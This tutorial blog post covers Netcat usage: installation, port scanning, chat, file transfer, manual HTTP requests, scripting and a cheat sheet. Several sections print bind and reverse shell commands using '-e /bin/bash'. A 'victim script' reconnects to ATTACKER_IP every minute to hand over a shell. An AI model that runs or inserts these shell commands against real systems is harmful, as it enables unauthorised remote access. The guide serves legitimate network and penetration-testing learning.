How to Use Netcat Commands: Examples and Cheat Sheets
Hey there! We can describe Netcat as a penetration testing tool, or networking Swiss army knife and if you ever dabbled in this field then chances are that sometimes somewhere every pen tester must ha
Hey there! We can describe Netcat as a penetration testing tool, or networking Swiss army knife and if you ever dabbled in this field then chances are that sometimes somewhere every pen tester must have used it. It's an incredibly useful tool that has been around for many years and is broadly used for Network Troubleshooting to Security Exploitation.
So, what exactly is Netcat? A network daemon that reads and writes data across network connections using the TCP/IP protocol. It is basically your basic setup for simple connections, file transferring, port scanning, or even some primitive chat systems. Being lightweight, it can be used easily and installed in Linux, Windows, or macOS without any frills.
Why use Netcat? Well, it’s like having a multi-tool in your pocket—except for your network. You can use it to:
- Test connectivity and troubleshoot network issues
- Scan open ports and identify potential vulnerabilities
- Transfer files quickly between devices
- Set up basic servers or clients for testing
- And yes, even play around with simple hacking techniques (just remember to keep it ethical!)
The best part? You don’t need to be a network pro to get started with Netcat. This article will walk you through the basics, advanced usage, and everything in between, including real-life examples and cheat sheets. By the end, you’ll know exactly how to use Netcat to make your networking tasks quicker and smoother.
Ready to dive in? Let’s get started!
Installation and Setup
Alright, let’s get you up and running with Netcat! The installation process is pretty straightforward, but it varies depending on your operating system. Don’t worry, I’ll guide you through it step by step.
1. Installing Netcat on Linux
Most Linux distributions come with Netcat (or a variant of it) pre-installed, but if it’s not there, you can install it easily using your package manager. Here's how:
- For Debian/Ubuntu-based systems:
sudo apt-get update
sudo apt-get install netcat- For Red Hat/CentOS-based systems:
sudo yum install nc- For Arch Linux:
sudo pacman -S netcatJust like that, you’ll have Netcat ready to go! To verify it’s installed, type:
nc -hIf it’s installed, you’ll see a list of options and commands.
2. Installing Netcat on Windows
Netcat isn’t built into Windows, but you can still grab a copy and run it. Here’s what to do:
- Download Netcat for Windows from a reliable source (like GitHub or other trustworthy software sites).
- Extract the files into a folder, and you’re good to go. You might want to add the folder containing
nc.exeto your system’s PATH for easy access.
To check if it’s working, open Command Prompt and type:
nc -hIf it displays the Netcat help menu, you’re set!
3. Installing Netcat on macOS
macOS users, you’ve got it easy. If you have Homebrew installed (which you totally should), just run:
brew install netcatAnd that’s it! To make sure it’s installed properly, run:
nc -hIf you see the help options, you’re ready to use Netcat.
4. Verifying Netcat Installation
No matter your OS, the final step is to verify the installation. Open your terminal (or Command Prompt on Windows) and type:
nc -hIf you see a list of options like -l, -p, and others, you’re all set! 🎉 You’ve got Netcat installed and ready to use.
Now that we’ve covered installation, let’s move on to some basic commands so you can start exploring what this tool can do!
Basic Netcat Commands
Alright, now that we’ve got Netcat installed, it’s time to dive into some basic commands. Netcat is super versatile, and once you get the hang of it, you’ll be amazed at all the things you can do with just a few keystrokes. Let’s start with some of the fundamental commands and use cases.
1. Checking Connectivity (Port Scanning)
One of the most common uses for Netcat is checking if a specific port on a server is open. This is great for troubleshooting or figuring out if a service is running on a certain port.
Here’s a simple command to scan a port:
nc -zv [hostname/IP] [port]- Example:
nc -zv 192.168.1.1 80This command checks if port 80 (HTTP) is open on the IP 192.168.1.1. If it’s open, you’ll get a confirmation message; if it’s closed, you’ll see a connection refused message.
2. Setting Up a Simple Chat
Yep, you read that right—Netcat can be used to set up a basic chat between two devices. All you need is Netcat running on both ends.
- On Device 1 (the “server”):
nc -l -p 1234This command listens on port 1234 for incoming connections.
- On Device 2 (the “client”):
nc [Device1_IP] 1234Once connected, anything you type will appear on the other device’s terminal. It’s a neat way to test connectivity and have some fun!
3. Transferring Files Using Netcat
Need to send a file quickly from one device to another? Netcat has got you covered. You can transfer files without any fancy setups—just point, connect, and send!
- On the receiving end (Device 1):
nc -l -p 1234 > received_file.txt- On the sending end (Device 2):
nc [Device1_IP] 1234 < file_to_send.txtOnce connected, the file will transfer instantly. Just like that, you’ve set up a simple file transfer!
4. Connecting to a Web Server
Did you know you can use Netcat to connect directly to a web server and see what it sends back? It’s a cool way to check server responses.
nc [hostname] 80After the connection is established, you can type:
GET / HTTP/1.1
Host: [hostname]Hit Enter twice, and you’ll see the HTML response from the server. It’s like manually crafting your own HTTP request!
5. Sending Data Between Devices
Netcat can also be used to set up a quick data transfer pipe. This is perfect if you need to test how data moves between devices or if you just want to pass simple text back and forth.
- On Device 1:
nc -l -p 1234- On Device 2:
echo "Hello from Device 2" | nc [Device1_IP] 1234You’ll see the message pop up on Device 1’s terminal. Easy peasy!
6. Testing Connectivity with Ping-like Behavior
If you want to check if a server is responsive, you can send a simple message and see if you get a response:
echo "ping" | nc -v -w 2 [hostname] [port]This sends a quick “ping” to the specified port, and if it’s open, you’ll get feedback.
And that’s it for some basic Netcat commands! These are just a few of the ways you can start using Netcat, but there’s so much more to explore.
Advanced Netcat Usage
Alright, now that we’ve covered the basics, let’s dive into some of the more advanced ways you can use Netcat. This is where things get really interesting—whether you want to create a makeshift server, scan for open ports, or even set up a reverse shell, Netcat has you covered.
1. Setting Up a Simple Server
With Netcat, you can quickly set up a basic TCP or UDP server. This is perfect for testing network connections or creating a simple chat service.
- To create a server:
nc -l -p 4444This sets up a server listening on port 4444. Now, any device connecting to this port will establish a connection, allowing you to send and receive data.
- To connect as a client:
nc [Server_IP] 4444Once connected, anything you type on either side will be visible to both, just like a basic chat app!
2. Using Netcat as a Port Scanner
Netcat can also act as a lightweight port scanner. You can use it to scan for open ports on a target machine, which is great for network troubleshooting or auditing.
- To scan a range of ports:
nc -zv [target_IP] 20-100The -z flag tells Netcat to scan ports without sending any data, and -v makes it verbose, showing you open or closed port statuses. This command checks all ports between 20 and 100.
3. Creating Reverse and Bind Shells
This is where Netcat gets a bit more “hacker-ish.” You can use it to create both reverse and bind shells, which are handy for remote management and penetration testing (just make sure you’ve got permission!).
- Creating a bind shell (opens a shell on a remote system):
- On the remote system:
nc -l -p 4444 -e /bin/bashThis opens a shell on port4444of the remote system. - On your local system:
nc [Remote_IP] 4444Now, you’ve got remote access to the shell. - Creating a reverse shell (useful for connecting back to you):
- On your local system:
nc -l -p 5555 - On the remote system:
nc [Your_IP] 5555 -e /bin/bashThe remote system will connect back to you, giving you shell access.
Important: Use these techniques responsibly and only in legal, controlled environments!
4. Monitoring Network Traffic
Netcat can act as a basic network traffic sniffer. If you want to capture and display raw data from a network connection, Netcat can help:
nc -l -u -p 9999This command listens for UDP traffic on port 9999. You can use it to monitor incoming data or troubleshoot specific network issues.
5. File Transfers Over Encrypted Connections
If you want to securely transfer files between systems, you can combine Netcat with openssl for encryption.
- On the receiving system:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout mycert.pem -out mycert.pem
openssl s_server -quiet -accept 4443 -key mycert.pem -cert mycert.pem | nc -l -p 4444 > received_file.txt- On the sending system:
nc [Receiver_IP] 4444 < file_to_send.txt | openssl s_client -quiet -connect [Receiver_IP]:4443This setup encrypts the file transfer using SSL, adding a layer of security.
6. Preventing DNS Lookups
By default, Netcat tries to resolve hostnames, but if you want to speed things up or avoid DNS lookups, you can disable this feature with the -n flag.
nc -nv [target_IP] [port]The -n flag stops Netcat from doing a DNS lookup, and the -v flag gives you a verbose output. This is great for quick scans or connections where you don’t need DNS resolution.
7. Creating HTTP Requests with Netcat
Ever wanted to manually craft an HTTP request to see how a server responds? Netcat lets you do that with a few simple lines:
nc [target_IP] 80Once connected, type:
GET / HTTP/1.1
Host: [target_domain]Press Enter twice, and you’ll receive the HTML response. It’s a neat way to test web servers or troubleshoot connectivity issues.
8. Automating with Shell Scripting
Netcat can be easily scripted to automate tasks. For example, you can create a simple script that checks if certain services are up:
#!/bin/bash
for port in 22 80 443; do
nc -zv 192.168.1.1 $port
doneThis script loops through common ports and checks if they’re open on the target IP. It’s a quick way to monitor your network.
And there you have it—some of the more advanced ways to use Netcat! From setting up servers to scanning ports and creating shells, Netcat is a powerful tool when used responsibly.
Netcat Commands Overview
Alright, let’s break down some of the most essential Netcat commands and their options. This overview will give you a quick reference to help you get familiar with Netcat’s capabilities and use it effectively. Whether you're testing connectivity, scanning ports, or setting up servers, these commands will be your go-to tools.
1. Basic Syntax
First, let’s start with the basic syntax for using Netcat:
nc [options] [target_IP] [port][options]refers to the various flags you can use to modify Netcat’s behavior.[target_IP]is the IP address you want to connect to.[port]is the port number you want to use.
2. Netcat Options and Flags
Here are some common options and flags you’ll use frequently:
-l: Listen mode. This sets up Netcat to listen for incoming connections instead of initiating one.-p [port]: Specify the port number Netcat should use (e.g.,-p 4444).-v: Verbose mode. It provides detailed output about what Netcat is doing, which is helpful when debugging.-z: Zero I/O mode (port scanning). This is used when you want to check if a port is open without sending any data.-n: Skip DNS resolution. This prevents Netcat from trying to resolve hostnames, which speeds things up.-e [program]: Executes a program after a connection is established (e.g., using/bin/bashfor a shell).
3. Port Scanning with Netcat
Netcat can be used to scan ports quickly and efficiently. Here’s how you do it:
- Scan a single port:
nc -zv [target_IP] [port]Example:
nc -zv 192.168.1.1 22- Scan a range of ports:
nc -zv [target_IP] [start_port]-[end_port]Example:
nc -zv 192.168.1.1 20-80This will check which ports are open within the specified range. It’s a fast way to see if services are running.
4. Setting Up a Simple Server or Client
Netcat is great for quickly setting up servers or connecting as a client:
- Listen as a server:
nc -l -p [port]Example:
nc -l -p 1234- Connect as a client:
nc [target_IP] [port]Example:
nc 192.168.1.1 1234Once connected, you can exchange messages, making it useful for testing or basic chatting.
5. Verbose Scanning with Netcat
For more detailed output when scanning, you can use the -v flag. This shows each connection attempt and whether it was successful:
nc -zv [target_IP] [port]Adding -v gives you feedback on every port scan attempt, so you know exactly what’s open and what’s not.
6. HTTP Requests with Netcat
Manually testing web servers is easy with Netcat. Just connect to port 80 (or 443 for HTTPS), and craft an HTTP request:
nc [target_domain] 80Type:
GET / HTTP/1.1
Host: [target_domain]Press Enter twice, and Netcat will return the server’s response. This is great for checking if a web server is responding correctly.
7. TCP Server and TCP Client Commands
Netcat supports TCP connections for both servers and clients:
- TCP Server:
nc -l -p [port]This command sets up a simple TCP server that listens on the specified port.
- TCP Client:
nc [target_IP] [port]Use this command to connect to a TCP server. It’s an easy way to test connectivity or interact with remote systems.
8. Preventing DNS Lookups
If you don’t want Netcat to resolve DNS (which can slow things down), use the -n flag:
nc -nv [target_IP] [port]This will skip the DNS lookup, making your connection attempt faster.
9. Launching Reverse and Bind Shells
Netcat is commonly used to create reverse and bind shells for remote access:
- Bind Shell (opens a shell on the remote machine):
nc -l -p [port] -e /bin/bash- Reverse Shell (connects back to you):
nc [your_IP] [port] -e /bin/bashNote: These commands should only be used in legal, ethical testing environments!
10. Shell Scripting with Netcat
You can script Netcat for automation:
#!/bin/bash
for port in 80 443; do
nc -zv 192.168.1.1 $port
doneThis example checks if ports 80 and 443 are open on the specified IP. It’s a quick way to automate port checks.
This overview gives you a rundown of the essential Netcat commands and flags. Keep it handy as a quick reference when working with Netcat.
Linux TCP/UDP Client & Server Connections using Netcat
Here is a quick tutorial on simulating UDP and TCP connections on a Linux terminal using Netcat (NCat). Netcat package comes bundled with the famous Linux port scanning tool: NMap.
Setup
- Get Netcat by installing NMap.
// for RHEL/CentOS
$ sudo yum install nmap -y
// for Ubuntu/Debian
$ sudo apt-get update
$ sudo apt-get install nmap -y
- Next, you can setup one Netcat instance to listen to a certain port either via TCP/UDP transport protocol and setup another Netcat instance to establish a connection to it. Once the connection is established, both instances can send messages to other instances, which will work like a simple chat server and client.
Netcat options
-l: set to listening state which create a simple HTTP server waiting for the incoming connections-p: define local port-u: set the UDP mode
UDP
- Create a UDP server listening on 30000 port.
$ nc -u -l 30000
- On a new terminal tab, run below command to create an instant UDP client communicating with the above server. You can input any simple text, click
enter, and see it appearing in the server’s output stream.
$ nc -u localhost 30000
Hello world from client! <--- this appears in server's output stream too.
TCP
- Create a TCP server listening on 31000 port.
$ nc -l 31000
- On a new terminal tab, run below command to create an instant TCP client communicating with the above server. You can input any simple text, click
enter, and see it appearing in the server’s output stream.
$ nc localhost 31000
Hello world from client! <--- this appears in server's output stream too.
Verify
- Run
netstatto verify the established connections.
// TCP
$ netstat -nat | grep 31000
// UDP
$ netstat -nau | grep 30000
Netstat options
-v: enable verbose logs-n: show numeric host, port or user names-a: show both listening and non-listening (for TCP this means established connections) sockets
| ✅ Tested OS's | : RHEL 7+, CentOS 7+, Ubuntu 18.04+, Debian 8+ |
|---|---|
| ✅ Tested Gear | : Cloud (AWS EC2), On-Prem (Bare Metal) |
HTTP Requests with Netcat
Netcat isn’t just for port scanning or file transfers; you can also use it to manually interact with web servers and craft your own HTTP requests. This is super useful for testing server responses, troubleshooting issues, or just understanding how HTTP works at a lower level. Let’s dive into how you can use Netcat to send HTTP requests and see what a server sends back.
1. Connecting to a Web Server
The first step is to connect to the web server you want to interact with. Most web servers listen for HTTP requests on port 80 (for HTTP) or 443 (for HTTPS). In this example, we'll use port 80 for simplicity:
nc [hostname] 80- Replace
[hostname]with the domain or IP address of the web server (e.g.,example.com).
2. Crafting an HTTP GET Request
Once connected, you can manually enter an HTTP GET request to fetch the homepage or any specific path. Here’s how to structure your request:
GET / HTTP/1.1
Host: [hostname]GET / HTTP/1.1: This line tells the server that you want to fetch the root path (/) using HTTP version 1.1.Host: [hostname]: This specifies the host you’re targeting (e.g.,example.com). This is important in HTTP/1.1 to differentiate between multiple domains hosted on the same server.
After typing these lines, press Enter twice. The double Enter acts as the end of the HTTP headers and signals the server to process the request.
3. Interpreting the Server’s Response
If everything went well, you’ll receive a response from the server that looks something like this:
HTTP/1.1 200 OK
Date: Sat, 14 Oct 2024 10:00:00 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 478
<!DOCTYPE html>
<html>
<head>
<title>Example Domain</title>
...HTTP/1.1 200 OK: This indicates that the request was successful, and the server is returning a response with a status code of200.- Headers: The lines that follow contain metadata about the response, like the content type (
text/html), the date, and the content length. - Body: After the headers, you’ll see the HTML content of the page.
You’ve just manually requested a webpage and received its HTML response—how cool is that?
4. Making HTTP POST Requests
Netcat can also handle POST requests if you need to send data to the server (like submitting a form). Here's how you can structure a POST request:
nc [hostname] 80And then type:
POST /submit-form HTTP/1.1
Host: [hostname]
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]
param1=value1¶m2=value2POST /submit-form HTTP/1.1: This line tells the server you want to POST data to/submit-form.Content-Type: Specifies the type of data you’re sending (in this case, form data).Content-Length: The length of your data in bytes. Calculate this based on the data you’ll send (param1=value1¶m2=value2).- Data: Finally, provide the data you want to send (e.g., form values). Make sure to press Enter twice after the data to signal the end of the request.
5. Testing Server Headers and Responses
You can use Netcat to test how a server responds to specific HTTP headers. For example, if you want to check for User-Agent handling or see how the server responds to a custom header:
nc [hostname] 80Then:
GET / HTTP/1.1
Host: [hostname]
User-Agent: MyNetcatClient/1.0This allows you to customize the request and see how the server behaves when different headers are used. It’s perfect for debugging and testing web applications.
6. HTTPS Requests
If you need to make an HTTPS request (port 443), Netcat alone won’t work since HTTPS is encrypted. However, you can pair Netcat with OpenSSL to send HTTPS requests:
openssl s_client -connect [hostname]:443Once connected, you can craft your HTTP request just like before:
GET / HTTP/1.1
Host: [hostname]This sends an HTTPS request through an encrypted connection, and you’ll see the server’s response.
Shell Scripting and Automation with Netcat
Netcat isn’t just a handy tool for manual operations—it also shines when you integrate it into scripts for automation. Whether you’re monitoring network services, automating file transfers, or testing connectivity, combining Netcat with shell scripting can make your network tasks faster and more efficient. Let’s explore some practical examples of how you can automate tasks using Netcat.
1. Automating Port Scanning
You can automate port scanning with Netcat to regularly check if certain ports are open on a target machine. This is great for monitoring services or ensuring that your web server or database is running.
Example Script:
#!/bin/bash
TARGET="192.168.1.1"
PORTS=(22 80 443)
for PORT in "${PORTS[@]}"; do
nc -zv $TARGET $PORT &> /dev/null
if [ $? -eq 0 ]; then
echo "Port $PORT on $TARGET is open."
else
echo "Port $PORT on $TARGET is closed."
fi
done- Explanation:
- The script loops through the ports (
22,80,443) and uses Netcat to check if they are open. - The
-zvflag tells Netcat to perform a scan (-z) and give verbose output (-v). - The
&> /dev/nullredirects all output to/dev/nullto keep it clean. - The script then checks Netcat’s exit status (
$?) to determine if the port is open or closed.
This script can be scheduled using cron to run periodically and notify you if any important service goes down.
2. Automated File Transfers
Need to automate file transfers between two systems? Netcat can help you set up a simple, automated transfer script.
Sender Script:
#!/bin/bash
FILE_TO_SEND="/path/to/file.txt"
TARGET_IP="192.168.1.2"
PORT=1234
cat $FILE_TO_SEND | nc $TARGET_IP $PORTReceiver Script:
#!/bin/bash
PORT=1234
OUTPUT_FILE="/path/to/received_file.txt"
nc -l -p $PORT > $OUTPUT_FILE- Explanation:
- The receiver script listens on a specified port (
1234) and writes incoming data toreceived_file.txt. - The sender script reads the file and pipes it to Netcat, which sends it over to the receiver.
Combine these scripts with a cron job or other scheduling tools to automate the transfer whenever needed.
3. Network Health Monitoring
Netcat can be used in scripts to ping multiple servers and check if they are responding. This is useful for creating a simple network health monitor.
Example Script:
#!/bin/bash
SERVERS=("192.168.1.1" "192.168.1.2" "192.168.1.3")
PORT=80
for SERVER in "${SERVERS[@]}"; do
nc -zv $SERVER $PORT &> /dev/null
if [ $? -eq 0 ]; then
echo "Server $SERVER is up."
else
echo "Server $SERVER is down."
fi
done- This script iterates through a list of servers and uses Netcat to check if port
80(HTTP) is open. - It’s an efficient way to automate network checks and quickly identify any issues.
4. Launching Reverse Shells Automatically
In penetration testing (with proper authorization!), you may want to automate reverse shell creation. Here’s how you can script that process:
Victim Script (to run on the target machine):
#!/bin/bash
ATTACKER_IP="192.168.1.10"
PORT=5555
while true; do
nc $ATTACKER_IP $PORT -e /bin/bash
sleep 60
done- Explanation:
- The script attempts to connect back to the attacker’s IP every minute. If it fails, it waits (
sleep 60) and tries again. - The
-e /bin/bashexecutes a shell upon connection, providing remote access.
Warning: This kind of script should only be used in ethical, legal testing environments. Misuse could have serious consequences!
5. Logging Server Responses
You can create a simple script that logs server responses to check how a web server behaves over time.
Example Script:
#!/bin/bash
SERVER="example.com"
PORT=80
LOGFILE="/path/to/server_log.txt"
echo "Connecting to $SERVER on port $PORT..." >> $LOGFILE
echo "GET / HTTP/1.1" | nc $SERVER $PORT >> $LOGFILE
echo "Request sent at $(date)" >> $LOGFILE- This script sends an HTTP GET request to the server and logs the response along with the timestamp.
- It’s a great way to keep track of server uptime and behavior.
6. Automating Netcat as a Backup Tool
Netcat can be combined with tools like tar to automate backups and send them over the network.
Backup and Transfer Script:
#!/bin/bash
TARGET_IP="192.168.1.2"
PORT=4444
DIRECTORY_TO_BACKUP="/path/to/directory"
tar -czf - $DIRECTORY_TO_BACKUP | nc $TARGET_IP $PORTReceiving Script:
#!/bin/bash
PORT=4444
OUTPUT_FILE="/path/to/backup.tar.gz"
nc -l -p $PORT > $OUTPUT_FILE- The backup script compresses the directory and sends it over to the target IP.
- The receiver script listens for incoming data and saves the compressed backup.
You can automate this with a cron job to create daily or weekly backups, ensuring your data is always saved.
Downloadable Netcat Cheat Sheet
Here’s your quick-reference cheat sheet for Netcat! This guide covers all the essential commands and options you’ll need to use Netcat efficiently. And for a more detailed, printable version, you can download it for free from Codelivly’s Gumroad.
Basic Netcat Commands
| Command | Description |
|---|---|
nc -l -p [port] | Listen on a specific port. |
nc [hostname] [port] | Connect to a hostname or IP on a specific port. |
nc -zv [hostname] [port] | Port scan a specific port (verbose mode). |
nc -l -p [port] > file.txt | Receive a file and save it locally. |
nc [hostname] [port] < file | Send a file to a connected host. |
Port Scanning with Netcat
| Command | Description |
|---|---|
nc -zv [hostname] [port] | Scan a specific port. |
nc -zv [hostname] [start_port]-[end_port] | Scan a range of ports. |
Creating Servers and Clients
| Command | Description |
|---|---|
nc -l -p [port] | Set up a simple TCP server. |
nc [hostname] [port] | Connect as a TCP client. |
nc -l -u -p [port] | Set up a simple UDP server. |
nc -u [hostname] [port] | Connect as a UDP client. |
HTTP Requests
| Command | Description |
|---|---|
nc [hostname] 80 | Connect to a web server on port 80. |
GET / HTTP/1.1 | Craft a manual HTTP GET request (press Enter twice). |
File Transfers
| Command | Description |
|---|---|
nc -l -p [port] > file.txt | Receive a file on a specific port. |
nc [hostname] [port] < file | Send a file over a specific port. |
Reverse and Bind Shells
| Command | Description |
|---|---|
nc -l -p [port] -e /bin/bash | Set up a bind shell on the remote machine. |
nc [your_IP] [port] -e /bin/bash | Set up a reverse shell to connect back to your IP. |
Warning: Always use these commands in authorized and legal environments only.
Options and Flags
| Flag | Description |
|---|---|
-l | Listen mode (acts as a server). |
-p [port] | Specify a port to listen on or connect to. |
-v | Verbose mode (provides detailed output). |
-z | Zero I/O mode (for scanning ports). |
-n | Do not resolve DNS. |
-e [program] | Execute a program upon connection (e.g., /bin/bash). |
Additional Tips
- Prevent DNS Lookup: Use
-nto skip DNS resolution and speed up connections. - Verbose Mode: Combine
-vwith other commands to get detailed feedback on what Netcat is doing. - HTTP Testing: Use Netcat to manually craft HTTP requests and test server responses.
- Automate with Shell Scripts: Pair Netcat with scripts for port scanning, file transfers, and more!
For a full downloadable version, complete with examples and more detailed breakdowns, head over to Codelivly’s Gumroad to download your free Netcat cheat sheet!
Join our community on Telegram to connect with like-minded individuals, share knowledge, and get the latest updates in programming, cybersecurity, and tech! 🚀
Looking for free resources to boost your learning? Visit the Codelivly eStore for exclusive downloads, cheat sheets, and other valuable content—available for free! 🎉
COMMENTS (0)
Sign in to post intel on this briefing.